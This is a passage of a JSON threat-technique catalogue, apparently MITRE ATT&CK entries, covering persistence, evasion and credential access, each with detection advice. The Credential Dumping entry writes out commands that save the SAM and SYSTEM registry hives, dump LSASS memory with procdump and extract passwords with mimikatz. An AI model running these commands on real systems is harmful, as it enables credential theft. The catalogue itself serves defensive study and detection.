      "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control  (Citation: Chrome Extension C2 Malware).\n\nDetection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions\n\nPermissions Required: User\n\nContributors: Justin Warner, ICEBRG",
      "meta": {
        "external_id": "T1176",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Network protocol analysis",
          "Packet capture",
          "System calls",
          "Process use of network",
          "Process monitoring",
          "Browser extensions"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1176",
          "https://en.wikipedia.org/wiki/Browser%20extension",
          "https://developer.chrome.com/extensions",
          "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
          "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
          "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
          "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
          "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
          "https://kjaer.io/extension-malware/",
          "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
        ]
      },
      "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8",
      "value": "Browser Extensions - T1176"
    },
    {
      "description": "Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.\n\nDetection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Asset Management, Data loss prevention",
      "meta": {
        "external_id": "T1200",
        "kill_chain": [
          "mitre-attack:enterprise-attack:initial-access"
        ],
        "mitre_data_sources": [
          "Asset Management",
          "Data loss prevention"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1200",
          "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
          "http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx",
          "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
          "https://www.youtube.com/watch?v=fXthwl6ShOg",
          "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
        ]
      },
      "uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9",
      "value": "Hardware Additions - T1200"
    },
    {
      "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, Signature-based detection, Heuristic detection",
      "meta": {
        "external_id": "T1045",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Binary file metadata"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1045",
          "http://en.wikipedia.org/wiki/Executable%20compression"
        ]
      },
      "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88",
      "value": "Software Packing - T1045"
    },
    {
      "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1010",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1010"
        ]
      },
      "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
      "value": "Application Window Discovery - T1010"
    },
    {
      "description": "Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)\n\nDetection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nPlatforms: Windows\n\nData Sources: Windows event logs\n\nPermissions Required: User\n\nSystem Requirements: Valid domain account or the ability to sniff traffic within a domain.\n\nContributors: Praetorian",
      "meta": {
        "external_id": "T1208",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1208",
          "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
          "https://msdn.microsoft.com/library/ms677949.aspx",
          "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
          "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
          "https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1",
          "https://adsecurity.org/?p=2293"
        ]
      },
      "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0",
      "value": "Kerberoasting - T1208"
    },
    {
      "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.  This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1188",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_data_sources": [
          "Network protocol analysis",
          "Netflow/Enclave netflow"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1188"
        ]
      },
      "uuid": "7d751199-05fa-4a72-920f-85df4506c76c",
      "value": "Multi-hop Proxy - T1188"
    },
    {
      "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1062",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "System calls"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1062",
          "https://en.wikipedia.org/wiki/Hypervisor",
          "http://en.wikipedia.org/wiki/Xen",
          "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
          "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html"
        ]
      },
      "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63",
      "value": "Hypervisor - T1062"
    },
    {
      "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n===SAM (Security Accounts Manager)===\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command.  To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n===Cached Credentials===\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable.  The number of default cached credentials varies, and this number can be altered per system.  This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n===Local Security Authority (LSA) Secrets===\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n===NTDS from Domain Controller===\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n \n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n===Group Policy Preference (GPP) Files===\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n \nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n \nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n \n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n \nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s *.xml\n\n===Service Principle Names (SPNs)===\n\nSee Kerberoasting.\n\n===Plaintext Credentials===\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n \nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n \nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n \n* Windows Credential Editor\n* Mimikatz\n \nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n \nFor example, on the target host use procdump:\n* <code>procdump -ma lsass.exe lsass_dump</code>\n \nLocally, mimikatz can be run:\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\n===DCSync=== \n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller.  Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data  (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs",
      "meta": {
        "external_id": "T1003",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process command-line parameters",
          "Process monitoring",
          "PowerShell logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1003",
          "https://github.com/mattifestation/PowerSploit",
          "https://adsecurity.org/?p=1729",
          "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
          "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
          "https://msdn.microsoft.com/library/cc228086.aspx",
          "https://msdn.microsoft.com/library/dd207691.aspx",
          "https://wiki.samba.org/index.php/DRSUAPI",
          "https://source.winehq.org/WineAPI/samlib.html",
          "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
          "https://msdn.microsoft.com/library/cc237008.aspx",
          "https://msdn.microsoft.com/library/cc245496.aspx",
          "https://github.com/Neohapsis/creddump7",
          "https://en.wikipedia.org/wiki/Active%20Directory",
          "https://msdn.microsoft.com/library/cc422924.aspx",
          "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
          "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
          "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)"
        ]
      },
      "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
      "value": "Credential Dumping - T1003"
    },
    {
      "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nDetection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward, Red Canary",
      "meta": {
        "external_id": "T1140",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1140",
          "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
          "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
          "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
        ]
      },
      "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
      "value": "Deobfuscate/Decode Files or Information - T1140"
    },
    {
      "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)\n\nDetection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Scott Lundgren, @5twenty9, Carbon Black",
      "meta": {
        "external_id": "T1209",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Binary file metadata",
          "DLL monitoring",
          "File monitoring",
          "Loaded DLLs",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1209",
          "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
          "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
          "https://github.com/scottlundgren/w32time",
          "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902"
        ]
      },
      "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87",
      "value": "Time Providers - T1209"
    },
    {
      "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1148",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Authentication logs",
          "File monitoring",
          "Environment variable"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1148"
        ]
      },
      "uuid": "086952c4-5b90-4185-b573-02bad8e11953",
      "value": "HISTCONTROL - T1148"
    },
    {
      "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
      "meta": {
        "external_id": "T1178",
        "kill_chain": [
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Authentication logs",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1178",
          "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
          "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
          "https://technet.microsoft.com/library/ee617241.aspx",
          "https://adsecurity.org/?p=1772",
          "https://msdn.microsoft.com/library/ms677982.aspx"
        ]
      },
      "uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d",
      "value": "SID-History Injection - T1178"
    },
    {
      "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect 